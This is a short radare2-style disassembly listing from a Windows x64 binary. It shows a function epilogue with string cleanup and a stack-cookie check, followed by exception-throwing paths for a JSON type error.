call fcn.140093d04
mov qword [r13 + 0x10], rdi
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rbx, qword [rbp - 0x48]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140006c78
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140006c73
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006cc4
mov rcx, r8
call fcn.140093d04
mov qword [rbx + 0x10], rdi
mov eax, 1
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
mov rcx, qword [rbp + 0x380]
xor rcx, rsp
call fcn.140093980
add rsp, 0x498
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, rax
call fcn.140007f50
mov qword [rsp + 0x60], rax
lea r8, [rsp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.14000c5c0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 8]
call fcn.140009560
lea rdx, [0x1400d6ec8]
lea rcx, [rbp + 8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140007f50
mov qword [rsp + 0x68], rax
lea r8, [rsp + 0x68]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rsp + 0x70]
call fcn.14000c9b0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 8]
call fcn.140009560
lea rdx, [0x1400d6ec8]
lea rcx, [rbp + 8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.140001ea0
int3
call fcn.140001dd0
nop
mov rcx, rax
call fcn.140007f50
mov qword [rsp + 0x60], rax
lea r8, [rsp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.14000c5c0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 8]
call fcn.140009560
lea rdx, [0x1400d6ec8]
lea rcx, [rbp + 8]
call sub.VCRUNTIME140.dll__CxxThrowException
int3